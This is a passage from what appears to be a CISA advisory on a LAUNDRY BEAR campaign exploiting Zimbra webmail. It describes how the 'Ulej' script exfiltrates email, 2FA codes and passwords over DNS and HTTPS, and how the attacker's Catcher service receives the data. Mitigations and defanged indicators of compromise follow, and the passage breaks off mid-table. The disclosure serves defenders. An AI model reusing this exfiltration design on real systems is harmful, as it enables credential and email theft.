<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
